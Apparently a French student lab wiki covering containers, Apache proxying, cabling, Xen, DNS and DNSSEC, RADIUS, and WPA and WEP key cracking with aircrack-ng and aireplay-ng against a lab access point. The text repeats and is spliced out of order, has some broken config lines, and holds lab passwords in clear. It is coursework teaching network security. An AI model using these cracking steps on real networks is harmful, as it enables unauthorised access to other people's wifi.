ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)
ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)
ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)
ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)

*'''Activation du pont:'''
ip address add dev mehcret2 192.168.60.0/24

*'''Attribution des adresses:'''
ip address add dev eth0 192.168.60.51/24 (dsk1)
ip address add dev eth0 192.168.60.52/24 (dsk2)
ip address add dev eth0 192.168.60.53/24 (dsk3)
ip address add dev eth1 172.26.145.67/24 (dsk2)
ip route add default via 172.26.145.254 (dsk2)

*'''Activation :'''
ip link set eth0 up
ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up
ip link set mehcret2 up

On peut désormais pinger entre les différents conteneurs.

===Configuration des serveurs Web===

Nous devons maintenant mettre en place les serveurs apache.

Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants :

- mndtMehcret A 172.26.145.67 (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)

- web1Mehcret CNAME mndtMehcret (Serveur web du conteneur 1)

- web2Mehcret CNAME mndtMhecret (Serveur web du conteneur 3)

On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :

<VirtualHost *:80>
ServerName web1mehcret.plil.space
Options Indexes FollowSymLinks
DocumentRoot /var/www/html/web1mehcret/
</VirtualHost>

On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web.

Il faut maintenant mettre en place le reverse proxy.
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :

<VirtualHost *:80>
ServerName mndtMehcret.plil.space
ProxyPass "/web1" "http://192.168.60.51/"
ProxyPassReverse "/web1" "http://192.168.60.51/"
ProxyPass "/web2" "http://"http://192.168.60.53/"
ProxyPassReverse "/web2" "http://192.168.60.53/"
</VirtualHost>

Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.

Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :

$ service apache2 restart

Pour utiliser apache en mode reverse proxy, on execute la commande :

$ a2enmod proxy proxy_http

11h25 : Serveurs Web unshare OK

==Conteneurs Docker==

Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.
Nous exécutons ensuite la commande :
$ iptables-save
Puis on redémarre le service Docker :
$ service docker restart

Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.

Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :
$ docker run -i -t debian

Dans le conteneur, nous ajoutons le proxy de l'école :
$ export http_proxy=http://proxy.polytech-lille.fr:3128/

Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:
$ apt-get update
$ apt-get install apache2, nano, vim

On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires :

$ docker commit [IDduConteneur] mehcret

On créé un réseau Docker pour isoler nos conteneurs ensemble :

$ docker network create --driver bridge mehcretnetwork

Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine :

$ docker run -i --network mehcretnetwork --name mehcret1 mehcret
$ docker run -i --network mehcretnetwork --name mehcret2 mehcret
$ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret

Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.

10h30 Serveurs Web (docker) OK

=TP PRA=

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.

==Tâche 5 : Câblage, connexion SR52, cordouan==

===Connexion des routeurs au réseau de l'école===

*'''Connexion SR52 - Routeur ISR4221 (E306)'''

Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.

Sur le routeur, on passe le port 21 sur le vlan 131 :

config t
int gi1/0/21
switchport access vlan 131
write

En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.

Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :

<gallery mode="nolines" widths=500px heights=400px>

File:TableVlansInterfacesSR52.jpg

File:LedSR52.jpg

</gallery>

*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''

En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.

===Connexion des commutateurs aux routeurs===

*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''

Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.

*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''

Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.

*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''

La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.

*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''

La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.

===Connexions au serveur Cordouan===

Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM.

*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''

Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.

*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''

Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.

===Connexion des commutateurs aux points d'accès===

===Schéma résumant le câblage réalisé :===

[[Fichier:ArchitectureMehCret.png|1200px]]

== 2.Installation des systèmes d'exploitation==

===Création de la machine virtuelle===

Création d'une machine virtuelle sur cordouan.insecserv.deule.net :

xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen

Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg

vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']
xen create hercule.cfg

On vérifie que la machine est bien créée en s'y connectant :

xl console hercule

Création des partitions logiques sur Cordouan pour la machine virtuelle :
lvcreate -L 10G -n /dev/virtual/hercule-home -v
lvcreate -L 10G -n /dev/virtual/hercule-var -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :
'phy:/dev/virtual/hercule-home,xvdb1,w',
'phy:/dev/virtual/hercule-var,xvdb2,w'

On relance la VM.
On formate les disques créés sur la machine :
mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdb2

Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :
/dev/xvdb1 /home ext4 defaults 0 2
Puis on effectue le montage :
mount -a

Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire :
mount /dev/xvdb2 /mnt

On déplace ensuite le contenu de var dans le point de montage précédemment créé :
mv /var/* /mnt

Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :
/dev/xvdb2 /var ext4 defaults 0 2

On applique les modifications :
mount -a

==4.Services internet==

===4.2 Serveur DNS===

Achat du domaine hercule.pw sur gandi.

Installation de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.hercule.space. root.hercule.space (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.hercule.space.
IN NS ns6.gandi.net
@ IN A 193.48.57.183
ns IN A 193.48.57.183
www IN A 193.48.57.183

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/db.hercule.space";
allow-transfer {217.70.177.40;};
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

Redémarrage du serveur bind9 :
service bind9 restart

Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP :
name : ns.hercule.space
IP address : 193.48.57.183

Changement du nameserver principal sur Gandi (A FAIRE):
DNS 1 : ns.hercule.space

On laisse ceux de Gandi pour les deux serveurs esclaves.

===4.4 DNSSEC===

Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :
dnssec-enable yes;

Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs

Création de la clef asymétrique de signature de clefs de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
:
Création de la clef asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space

On renomme ces clef :
hercule.space-ksk.key
hercule.space-zsk.key

Puis on les inclus dans le fichier /etc/bind/db.hercule.space
$include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
$include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key

On signe les enregistrements de la zone :
dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :
file "/etc/bind/db.hercule.space.signed";

On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.

Nous vérifions sous dnsviz.net le bon fonctionnement du DNSSEC :

[[Fichier:DNSSEC G7.png|500px]]

===4.3 Serveur Apache===

Création du dossier /var/www/www.hercule.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf

<VirtualHost 193.48.57.183:443>
ServerName www.hercule.space
ServerAlias hercule.space
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

<VirtualHost 193.48.57.183:80>
ServerName www.hercule.space
ServerAlias hercule.space
Redirect / https://www.hercule.space
</VirtualHost>

Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :

Listen 80 443

On active enfin le module SSL, notre site, et on redémarre le service apache :
a2enmod ssl
a2ensite hercule.space.conf
service apache2 restart

[[Fichier:Httpshercule.png|1000px|center]]

===Serveur Freeradius===

Installation de Freeradius sur la vm :
apt-get install freeradius

On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute :
hercule Cleartext-Password := "glopglop"

Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers :

- /etc/freeradius/3.0/mods-enabled/eap :
default_eap_type = peap

- /etc/freeradius/3.0/mods-enabled/mschap :
use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :
client 192.168.0.10/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

client 192.168.0.11/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

On met à jour la configuration :
ldconfig

Et enfin, nous lançons le service freeradius :
$ service freeradius restart

Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :

enable

conf t
aaa new-model
aaa authentication login eap_group17 group radius_group17
aaa group server radius radius_group17
server 193.48.57.183 auth-port 1812 acct-port 1813
radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC
end

conf t
dot11 ssid Hercule
vlan 17
authentication open eap eap_group17
authentication network-eap eap_group17
authentication key-management wpa
Mbssid Guest-mode
end

conf t
int dot11radio0
Mbssid
ssid Hercule
encryption vlan 17 mode ciphers aes-ccm tkip
end

conf t
int dot11radio0.17
encapsulation dot1Q 17
bridge-group 17
end

== 5. Tests d'intrusion ==
===5.3 Crackage de clé WPA===

Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlp2s0

Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :

$ airodump-ng wlp2s0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon

Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :

#!/bin/bash
charset=({0..9})
permute(){
(($1 == 0)) && { echo "$2"; return; }
for char in "${charset[@]}"
do
permute "$((${1} - 1 ))" "$2$char"
done
}
permute "$1"

Que nous laçons en exécutant :

$ ./comb.sh 8 >> dictionnaire.txt

Le crack est effectué en lançant la commande :

$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56 -w /path_to_file/dictionnaire.txt /path_to_file/*.cap

Nous récupérons la clé après quelques heures de calcul :

[[Fichier:Crack groupe7.png|600px|center]]

===5.2 Cassage de clé WEP===

Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlx40a5ef012c92

Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :

$ airodump-ng --encrypt wep wlan0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon

En parallèle, on simule une connexion au point d'accès pour récupérer le handshake :
$ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon

On réalise le cassage :
$ aircrack-ng ./path_to_folder/cracotte07.cap

[[Fichier:cassagewep07.png|600px|center]]

== 6. Réalisation ==

===6.1 Sécurisation de données===

Création de trois partitions LVM de 1Go sur Cordouan :
lvcreate -L 1G -n /dev/virtual/hercule1 -v
lvcreate -L 1G -n /dev/virtual/hercule2 -v
lvcreate -L 1G -n /dev/virtual/hercule3 -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :

'phy:/dev/virtual/hercule1,xvdc1,w',
'phy:/dev/virtual/hercule2,xvdc2,w',
'phy:/dev/virtual/hercule3,xvdc3,w'

Installation du paquetage mdadm pour réaliser le RAID5 logiciel :
apt-get install mdadm

Création du RAID5 :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3

On formate le RAID créé :
mkfs -t ext4 /dev/md0

On monte le RAID dans notre VM :
mount /dev/md0 /mnt

On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.
On relance la VM. Puis on essaye de remonter le RAID :
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande :
cat /proc/mdstat
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier :
mount /dev/md127 /mnt
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.

[[Fichier:Raidhercule.png|600px|center]]

===6.2 Cryptage de données===

Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :

$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v

Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :

$ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1

Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.

Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :

$ cryptsetup luksOpen /dev/xvdd1 home

Nous la formatons en ext4 :

$ mkfs -t ext4 /dev/mapper/home

Enfin, nous montons la partition sous /mnt :

$ mount -t ext4 /dev/mapper/home /mnt

Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.

Fichier:DNSSEC G7.png

2018-12-21T18:23:09Z

Nmehanna :

TP sysres IMA5sc 2018/2019 G7

2018-12-21T17:54:55Z

Nmehanna : /* 6.1 Cryptage de données */

= Wiki de TP =

=TP GIS=

==Conteneurs "à la main"==

===Mise en place des conteneurs===

*'''Création d'une partition''':
dd if=/dev/zero of=/disk1 bs=1024K count=10240

*'''Formatage''' :
mtfs.etx4 /disk1

*'''Montage de la partition''':
mount /disk1 /mnt

*'''Installation d'un système Debian''':
debootstrap --include=apache2,nano stable /mnt

*'''Préparation du montage du pseudo système de fichier /proc''':
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

*''' Démontage ''':
umount /mnt

*'''Copie en 2 exemplaires''':
cp /disk1 /disk2
cp /disk1 /disk3

*'''Montage des 3 partitions :'''
mount -oloop /disk1 /mnt/dsk1
mount -oloop /disk2 /mnt/dsk2
mount -oloop /disk3 /mnt/dsk3

*'''Création du processus isolé par unshare''':
unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c "mount /proc ; /bin/bash"

===Configuration réseau===
*'''Création d'un commutateur logiciel''':
ip link add mehcret2 type bridge

*'''Création des interfaces virtuelles:'''
ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

*'''Ajout d'interfaces dans le commutateur :'''
ip link set vif1 master mehcret2
ip link set vif2 master mehcret2
ip link set vif3 master mehcret2
ip link set vif4 master bridge

*'''Activation des interfaces''':
ip link set eth0 up
ip link set eth1 up

*'''Récupération du PID des conteneurs :'''
ps auxwww | grep unshare

*'''Ajout des interfaces dans les conteneurs :'''
ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)
ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)
ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)
ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)

*'''Activation du pont:'''
ip address add dev mehcret2 192.168.60.0/24

*'''Attribution des adresses:'''
ip address add dev eth0 192.168.60.51/24 (dsk1)
ip address add dev eth0 192.168.60.52/24 (dsk2)
ip address add dev eth0 192.168.60.53/24 (dsk3)
ip address add dev eth1 172.26.145.67/24 (dsk2)
ip route add default via 172.26.145.254 (dsk2)

*'''Activation :'''
ip link set eth0 up
ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up
ip link set mehcret2 up

On peut désormais pinger entre les différents conteneurs.

===Configuration des serveurs Web===

Nous devons maintenant mettre en place les serveurs apache.

Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants :

- mndtMehcret A 172.26.145.67 (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)

- web1Mehcret CNAME mndtMehcret (Serveur web du conteneur 1)

- web2Mehcret CNAME mndtMhecret (Serveur web du conteneur 3)

On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :

<VirtualHost *:80>
ServerName web1mehcret.plil.space
Options Indexes FollowSymLinks
DocumentRoot /var/www/html/web1mehcret/
</VirtualHost>

On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web.

Il faut maintenant mettre en place le reverse proxy.
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :

<VirtualHost *:80>
ServerName mndtMehcret.plil.space
ProxyPass "/web1" "http://192.168.60.51/"
ProxyPassReverse "/web1" "http://192.168.60.51/"
ProxyPass "/web2" "http://"http://192.168.60.53/"
ProxyPassReverse "/web2" "http://192.168.60.53/"
</VirtualHost>

Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.

Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :

$ service apache2 restart

Pour utiliser apache en mode reverse proxy, on execute la commande :

$ a2enmod proxy proxy_http

11h25 : Serveurs Web unshare OK

==Conteneurs Docker==

Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.
Nous exécutons ensuite la commande :
$ iptables-save
Puis on redémarre le service Docker :
$ service docker restart

Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.

Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :
$ docker run -i -t debian

Dans le conteneur, nous ajoutons le proxy de l'école :
$ export http_proxy=http://proxy.polytech-lille.fr:3128/

Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:
$ apt-get update
$ apt-get install apache2, nano, vim

On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires :

$ docker commit [IDduConteneur] mehcret

On créé un réseau Docker pour isoler nos conteneurs ensemble :

$ docker network create --driver bridge mehcretnetwork

Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine :

$ docker run -i --network mehcretnetwork --name mehcret1 mehcret
$ docker run -i --network mehcretnetwork --name mehcret2 mehcret
$ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret

Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.

10h30 Serveurs Web (docker) OK

=TP PRA=

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.

==Tâche 5 : Câblage, connexion SR52, cordouan==

===Connexion des routeurs au réseau de l'école===

*'''Connexion SR52 - Routeur ISR4221 (E306)'''

Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.

Sur le routeur, on passe le port 21 sur le vlan 131 :

config t
int gi1/0/21
switchport access vlan 131
write

En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.

Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :

<gallery mode="nolines" widths=500px heights=400px>

File:TableVlansInterfacesSR52.jpg

File:LedSR52.jpg

</gallery>

*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''

En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.

===Connexion des commutateurs aux routeurs===

*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''

Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.

*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''

Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.

*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''

La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.

*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''

La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.

===Connexions au serveur Cordouan===

Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM.

*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''

Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.

*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''

Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.

===Connexion des commutateurs aux points d'accès===

===Schéma résumant le câblage réalisé :===

[[Fichier:ArchitectureMehCret.png|1200px]]

== 2.Installation des systèmes d'exploitation==

===Création de la machine virtuelle===

Création d'une machine virtuelle sur cordouan.insecserv.deule.net :

xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen

Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg

vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']
xen create hercule.cfg

On vérifie que la machine est bien créée en s'y connectant :

xl console hercule

